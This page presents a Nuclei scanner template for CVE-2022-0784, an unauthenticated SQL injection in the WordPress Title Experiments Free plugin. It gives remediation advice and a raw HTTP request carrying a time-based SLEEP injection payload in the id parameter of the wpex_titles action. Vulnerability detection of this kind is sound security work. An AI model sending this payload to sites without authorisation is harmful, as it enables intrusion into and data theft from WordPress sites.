WordPress Title Experiments Free <9.0.1 - SQL Injection

ID: CVE-2022-0784

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2022,cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,wordpress,title_experiments_free_project

Description

WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0784

info:
  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of WordPress Title Experiments Free plugin (9.0.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
    - https://wordpress.org/plugins/wp-experiments-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
    - https://github.com/cyllective/CVEs
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0784
    cwe-id: CWE-89
    epss-score: 0.04043
    epss-percentile: 0.91894
    cpe: cpe:2.3:a:title_experiments_free_project:title_experiments_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: title_experiments_free_project
    product: title_experiments_free
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,wordpress,title_experiments_free_project

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{\"images\":")'
        condition: and
# digest: 4a0a0047304502200502ee272520a88c088369b374ff70a31517a49258cce0da6007f201774db1d3022100ce89d55d7a8c55998345b1b6a8879c86d7e5ef5af912476a494d2ef61ccaf072:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0784.yaml"

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